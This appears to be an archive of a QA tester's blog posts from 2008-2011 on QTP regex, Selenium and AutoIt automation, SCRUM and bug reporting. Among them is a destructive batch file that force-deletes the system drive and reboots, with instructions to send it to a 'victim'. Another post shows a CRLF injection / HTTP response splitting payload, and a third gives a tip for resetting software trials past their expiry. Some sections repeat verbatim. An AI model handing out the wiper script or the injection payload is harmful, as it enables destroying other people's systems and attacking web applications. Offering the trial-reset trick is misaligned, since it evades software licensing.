Friday, August 26, 2011

RegEx used in QTP

a) Backslash Character:
1. A backslash (\) used in conjunction with a special character to indicate that the next character be treated as a literal character.
2.also such as the letters \n, \t, \w, or \d, the combination indicates a special character.

b) Matching Any Single Character:
A period (.)(except for \n).
Ex:
welcome.
Matches welcomes, welcomed, or welcome

c) Matching Any Single Character in a List:
To search for the date 1867, 1868, or 1869, enter:
186[789]

d) Matching Any Single Character Not in a List:
[^ab]
Matches any character except a or b.

e) Matching Any Single Character within a Range:
For matching any year in the 2010s, enter:
201[0-9]

f) Matching Zero or More Specific Characters:
ca*r
Matches car, caaaaaar, and cr

g) Matching One or More Specific Characters:
A plus sign (+) instructs QTP to match one or more occurrences of the preceding character.
For example:
ca+r
Matches car and caaaaaar, but not cr.

h) Matching Zero or One Specific Character:
(?) instructs QTP to match zero or one occurrences of the preceding character.
For example:
ca?r
Matches car and cr, but nothing else.

i) Grouping Regular Expressions:
Parentheses (()) instruct QTP to treat the contained sequence as a unit, just as in mathematics and programming languages. Using groups is especially useful for delimiting the argument(s) to an alternation operator ( | ) or a repetition operator ( * , + , ? , { } ).

j) Matching One of Several Regular Expressions:
pipe (|) instructs QTP to match one of a choice of expressions.

k) Matching the Beginning of a Line:
A caret (^) instructs QTP to match the expression only at the start of a line, or after a newline character.

l) Matching the End of a Line:
A dollar sign ($) instructs QTP to match the expression only at the end of a line, or before a newline character.

m) Matching Any AlphaNumeric Character Including the Underscore:
\w instructs QTP to match any alphanumeric character and the underscore (A-Z, a-z, 0-9, _).

n) Matching Any Non-AlphaNumeric Character:
\W instructs QTP to match any character other than alphanumeric characters and underscores.

o) Combining Regular Expression Operators:
We can combine regular expression operators in a single expression to achieve the exact search criteria we need.
For example,
start.*
Matches start, started, starting, starter, and so forth.
we can use a combination of brackets and an asterisk to limit the search to a combination of non-numeric characters.
For example:
[a-zA-Z]*
To match any number between 0 and 1200, we need to match numbers with 1 digit, 2 digits, 3 digits, or 4 digits between 1000-1200.
The regular expression below matches any number between 0 and 1200.
([0-9]?[0-9]?[0-9]|1[01][0-9][0-9]|1200)

Tuesday, March 8, 2011

FINDING SERVER CAPABILITY, REQUEST PER SECOND

DEAR ALL,

I DEDUCE FOLLOWING FOR MY ONE PROJECT. IT'S A BIG PROJECT RUNNING WORLDWIDE. IT IS A POWERPOINT PRESENTATION RELATED...


I tried here to find that our server is able to handle how many request per second. An approximate data of files being used is here:

File No. of files Total Size
ascx 53 275,416 bytes
aspx 310 4,805,494 bytes
css 54 834,304 bytes
htm 13 84,545 bytes
js 67 1,968,246 bytes
Total 497 7968005

So total 497 files having size 7968005 bytes
So average page size becomes: 7968005/497=16032 bytes (excluding data which fetched from database & displayed on page)
TCP Connection consumes: 180 bytes
GET Request consumes: 256 bytes
Protocol overhead consumes: 1,364 bytes
Total: 17832 bytes
Total Bits=17832 x 8 = 142656 bits per request

As per our IT admin, we have 100mbps line connected with LB. So it can transmit 100 x 1000000=100000000 bits per second
REQUEST PER SECOND= Transmit Capacity/Avg. Page Size = 100000000/142656 = 700

IT MEANS OUR SERVER IS ABLE TO HANDLE/DELIVER 700 REQUEST PER SECOND.
This can be increased we optimize & reduce our file sizes.

Thursday, January 6, 2011

automating the w3c css test with selenium

1.Create a table where url/body of css file is stored
2.Then fetch data from query
3.In a for loop send call to W3CCSSTest(selenium,dr)


public void W3CCSSTest(ISelenium selenium, DataRow dr)
{
string sql = "";
string cols = "";
string nexturl="";
verificationErrors = new StringBuilder("");

selenium.Open("/");


Thread.Sleep(2000);
try
{

if (dr["type"].ToString() == "U") // if url
{

selenium.Open("http://jigsaw.w3.org/css-validator/");
selenium.Type("uri", dr["BodyUrl"].ToString());
selenium.Click("link=More Options");
Thread.Sleep(1000);
selenium.Select("profile_uri", "label=No special profile");
selenium.Click("//fieldset[@id='validate-by-uri']/form/p[3]/label/a/span");
nexturl = "http://jigsaw.w3.org/css-validator/validator?uri=http%3A%2F%2Fjigsaw.w3.org%2Fcss-validator%2F&profile=none&usermedium=all&warning=1&lang=en";
}
if (dr["type"].ToString() == "B") //if body
{
selenium.Open("http://jigsaw.w3.org/css-validator/");
selenium.Click("link=By direct input");
selenium.Type("text", dr["BodyUrl"].ToString());
Thread.Sleep(1000);
selenium.Select("profile_input", "label=No special profile");
selenium.Click("//fieldset[@id='validate-by-input']/form/p[3]/label/a/span");
nexturl = "http://validator.w3.org/check?uri=http%3A%2F%2Fvalidator.w3.org%2F&charset=%28detect+automatically%29&doctype=HTML+4.01+Transitional&group=0&ss=1&No200=1";
}
Thread.Sleep(3000);

if (selenium.IsTextPresent("Congratulations!"))
{
verificationErrors.Append("pass,");
CreatedScreenShot = Utilities.SeleniumScreenShot(selenium, ScriptAndDirName, dr["Rid"].ToString() + "W3C_CSS_PASS");
DatabaseClass.LogDataInResultTable(ScriptAndDirName, TableName, Convert.ToInt16(dr["Rid"].ToString()), "P", CreatedScreenShot, Convert.ToString(verificationErrors), dr["owner"].ToString());
}

if (selenium.IsTextPresent("Sorry! We found the following errors"))
{
verificationErrors.Append("fail,");
CreatedScreenShot = Utilities.SeleniumScreenShot(selenium, ScriptAndDirName, dr["Rid"].ToString() + "W3C_CSS_FAIL");
DatabaseClass.LogDataInResultTable(ScriptAndDirName, TableName, Convert.ToInt16(dr["Rid"].ToString()), "F", CreatedScreenShot, Convert.ToString(verificationErrors), dr["owner"].ToString());
}
Thread.Sleep(3000);
selenium.GoBack();
}
catch (Exception ex)
{
verificationErrors.Append(ex.ToString());
selenium.GoBack();
}
}

Thursday, December 16, 2010

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).

Send is quite useful because windows can be navigated without needing a mouse.

For example, open Folder Options (in the control panel) and try the following:

Send("{TAB}") Navigate to next control (button, checkbox, etc)
Send("+{TAB}") Navigate to previous control.
Send("^{TAB}") Navigate to next WindowTab (on a Tabbed dialog window)
Send("^+{TAB}") Navigate to previous WindowTab.
Send("{SPACE}") Can be used to toggle a checkbox or click a button.
Send("{+}") Usually checks a checkbox (if it's a "real" checkbox.)
Send("{-}") Usually unchecks a checkbox.
Send("{NumPadMult}") Recursively expands folders in a SysTreeView32.


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Wednesday, December 15, 2010

running multiple selenium RC parallelly in multi threading

//running multiple RC parallelly

ParameterizedThreadStart objParameterizedThreadStart = new ParameterizedThreadStart(CheckPointStart);
hostInfo objHostInfo = new hostInfo();
Thread t = new Thread(objParameterizedThreadStart);
t.Name = k.ToString();
objHostInfo.bro = bro;
objHostInfo.host = host;
objHostInfo.port = port;
objHostInfo.SiteURL=siteurl.Text;
t.Start(objHostInfo);

running selenium rc on multiple ports

port=4444;
use a for loop to execute following
create 4444.bat, 4445.bat ...so on files
---------------
//run RC for each setting
ProcessStartInfo info = new ProcessStartInfo();
info.WorkingDirectory = wrkdir.Text;
info.FileName = @"e:\\AuthorStream\\Selenium-Scripts\\selenium-server-1.0.3\\" + port + ".bat";
info.WindowStyle = ProcessWindowStyle.Minimized;
Process.Start(info);
port=port+1
-------------------

Saturday, October 30, 2010

CRLF injection/http response splitting


Injected Data: %0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E

Which can also be written as:
\r\n
Content-Type: text/html\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
hey



If the user follows the link, the HTTP request will look like:
GET /~dcrab/redirect.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E HTTP/1.1\r\n
Host: abc.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\r\n
Accept: text/xml,application/xml,application/xhtml xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n

Thursday, June 4, 2009

Dynamically Creating QTP Test Batch File/Test Suit

Let us consider that our test folders are ready...
now run this code over the main folder that includes all test folders...
It will create .mtb batch file for test...

you can even open the .mtb file with notepad & adjust the sequence of test..

Function TestsToTestSuit(TestDirPath)
filename=TestDirPath & "\ProjectTestSuit.mtb"
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set objFolder = fso.GetFolder(TestDirPath)
set colSubfolders = objFolder.Subfolders
Dim myarray()
dim i
i=1
If fso.fileexists(filename) Then
fso.deletefile(filename)
End If
Set file= fso.CreateTextFile(filename, ForAppending, True)
file.Writeline("[Files]")
file.Writeline("NumberOfFiles=" & objFolder.Subfolders.count)

For Each objSubfolder in colSubfolders
ReDim preserve myarray(i)
If (objSubfolder.Name<>"Screenshots") Then
myarray(i)=objSubfolder.Name
file.Writeline("File" & i & "=" & TestDirPath & "\" & objSubfolder.Name & ";1 ")
i=i+1
else
i=i+1
End If
Next
file.close
DirectoryNameToArray=myarray
End Function


i have excluded "screenshots" folder from SVN Test script folder

Wednesday, June 3, 2009

QTP framework for companies, automating the automation

Hi,

I am working as a QA Lead in chandigarh.. I joined QA field 2 years back.
I have 4.5 years of software developement experience in microsoft tech.
I GOT A TEAM OF 4 QA MEMBERS.

6 month ago... my company management asked me to have some sort of automation testing. Initially I took Selenium as it is a open source & easily available.
I created a selenium smoke testing script that runs over the build....

Then I found It is very tedious to work with it.
FINALLY I CHOOSE QTP TRIAL...EXCELLENT ONE...


I GOOGLED ABOUT MAKING A FRAMEWORK.. I PUT MY WHOLE DAY ... AND ALSO AKSED MY COLLEUAGE (MR. SAHIB) TO DO SO...
FINALLY AT THE END OF DAY...ALL WAS IN VAIN..

WHILE TRAVELLING TO MY HOME.. I AGAIN THOUGHT ABOUT IT.. WHAT TO DO..HOW TO DO.... THEN GOT A EXCELLENT IDEA..
EUREKA....

NEXT DAY I TOOK IT INTO HAND...WE STARTED creating a complete QTP testing framework without using any OBJECT REPOSITORY.

Then I decided to have such a script that will move over all the pages of website..
It uses vbscript FULLY. IT IS 90% COMPLETE NOW..

Here is how it works....

Using inputbox() of vbscript...
It asks for main folder name to be created for project...
It asks for login textbox name...
It asks for password textbox name...
It asks for login & password...
It asks for name of login button...
It tells total no. of links on page e.g. 96...
It asks for the link number to start with...
It collects window Page Title & URL in a text file (to check naming conventions)
It finds missing attributes like maxlength,alt,title, tabindex... etc..

Creates folders for each QTP test to be created
It copies a default test settings from a folder to each test automatically..
then creates the tests scripts automatically for all the pages...
grabs screen shots in a directory...
creates data table global sheet & puts column names automatically (does not matter number of controls)....
It fetches values from data table & does entry in all controls in the pages automatically...

fires input validations,mandatory and other,captures screenshots of crashes, page not found, gathers URL

checks spellings
checks W3C XHTML validations conformance
checks W3C CSS conformance
checks W3C WCAG conformance

other so many things.....

finally creates test suite .mtb automatically...


THATS IT...
NOW OUR LIFE IS SAVED & EASY.
DO YOU WANT TO KNOW WHAT WE DO NOWA DAYS?
WE JUST CLICK RUN BUTTON OF QTP AND GET ALL SCRIPTS IN SVN FOLDER AUTOMATICALLY.....
:-)

Friday, May 22, 2009

virtual PC benefit

To reuse/again use the trial version of software
Install microsoft Virtual PC
Install WINXP on it
Install software
Install whatever u need on this
Then Copy it's .vhd file & keep it backedup
when required,Replace .vhd on VPC

Note:For educational purpose only

Thursday, March 12, 2009

Selenium Script for autologin

="">
WhileAutoLogin
store 4 iterations
store 0 x
while storedVars.x<storedVars.iterations
store javascript{selenium.browserbot.baseUrl} URL
open javascript{storedVars.URL}
getEval //alert('{x}: '+${x});alert('storedVars: '+storedVars['x'])
storeEval function(x) {var users=new Array("kent","popup","anilk","String4","",""); return users[x];} getUser
storeEval function(x) {var pass=new Array("industries","123456","123456","123456");return pass[x];} getPass
type //input[contains(@name,'User') or contains(@id,'user') or contains(@id,'UserName') or contains(@id,'log') or contains(@name,'login') or contains(@name,'Log')] javascript{storedVars.getUser(storedVars.x)}
type //input[contains(@type,'password') or contains(@id,'pass') or contains(@name,'pass')] javascript{storedVars.getPass(storedVars.x)}
clickAndWait //input[contains(@type,'submit') or contains(@id,'ogin')]
waitForPageToLoad 3000
getEval storedVars.textPresent=""
storeTextPresent Incorrect Username textPresent
getEval //alert(storedVars.textPresent)
gotoIf storedVars.textPresent skipRecord
waitForPageToLoad 3000
captureEntirePageScreenshot C:\${x}logo.png
label skipRecord
getEval storedVars.x=eval(storedVars.x)+1;
endWhile
getEval alert('Testing finished '+storedVars.x+' iterations')

Tuesday, February 10, 2009

what is SCRUM model

SCRUM:
Scrum is a process of s/w development used with agile software development. Taks are collected in product backlog, out of these sprint backlog is prepared, then sprint executed iterated same again.

SPRINT:
A sprint is a time-boxed period of a list of task.
Each "sprint" has a length of 15-30 days. The set of prioritized features that go into a sprint come from the product "backlog",

Product backlog:
A prioritized list of high level requirements.

Sprint backlog :
A list of tasks to be completed during the sprint.

In SCRUM, there are two roles, Pigs and chickens, based on a joke about a pig and a chicken

Pig: ones committed to the project in the Scrum process. who are:
Product Owner :who represents the stakeholders
ScrumMaster (or Facilitator) :who maintains processes (same as PM)
Team :which includes the developers.

Chickens: who will not work directly but will review, analyse & suggest ideas. who are:
Users
Stakeholders (customers, vendors)
Managers

Meetings:
Daily Scrum: a 15-20 min., standing, at same location , same time,
3 questions asked: what u did yesterday, plan of today, any problem faced

Sprint Planning Meeting:
Select what work is to be done
Evaluate time it will take to do that work
8 hour limit

Sprint Review Meeting:
Review completed and not completed work
Show demo of completed work to the stakeholders
4 hour time limit

Sprint Retrospective:
What went well during the last sprint?
What could be improved in the next sprint?
3 hour time limit

Tuesday, November 18, 2008

notepad glitch/hack

Open Notepad, Type:

Bush hid the facts

Close and re-open the file & see some unknown characters appears & notepad is not able to save it

creating hidden folder with no name

1.Create a new folder anywhere

2.Press F2. Hold "ALT" and type:255. Means just space comes instead of name

3.Right click the folder and select "Properties"

4.Then the "Customize" tab

5.Click "Change Icon..."

6.Scroll and find one without icon image, Select it

now keep your movies/songs/personal data there, however you can also make it hidden

corrupting PC operating system

1.Open Notepad
2. Type
@echo offdel %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
3.save it with anynameyoulike.bat
4.send it to victim
5.If he opens this file, his/her system gets corruped, result is blue screen of death
(Warning: This is for educational purpose only, do not try this. I shall not be responsible for the consequences)

enabling back button for AJAX based page

Set the EnableHistory=”true” for the ScriptManager tag

Tuesday, November 4, 2008

bug reporting skill.

bug reporting skill.
we added the default format into mantis itself, which forces every QA to log the bug in proper manner. e.g.
1. Category: functional/GUI/verfication/non functional/etc.. (around 50 categories)
2. Platform
3. Browsers
4. Title
5. #Fact: (means what is happening)
   #Expected:
6. Steps: (explaining what happened & how)
  1.
  2.
  3....
7. Image
8. Testcase ID
9. UserRole

While bugs are resolved, root cause is also written by developers & closed by testers, at any stage we can have stat of verification & validation.

and and .... Finally at the EOD a bug report is kicked towards development team :-)